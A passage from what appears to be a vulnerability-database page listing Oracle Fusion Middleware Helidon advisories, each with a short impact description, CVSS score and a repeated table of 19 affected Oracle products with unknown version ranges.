Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to perform unauthorized read and write operations on accessible data, rated with a CVSS 3.1 base score of 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to perform unauthorized data reads and modifications, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to perform unauthorized read and write operations, rated with a CVSS 3.1 base score of 4.2.
4.2 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to exploit HTTP access for unauthorized data reading and modification, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
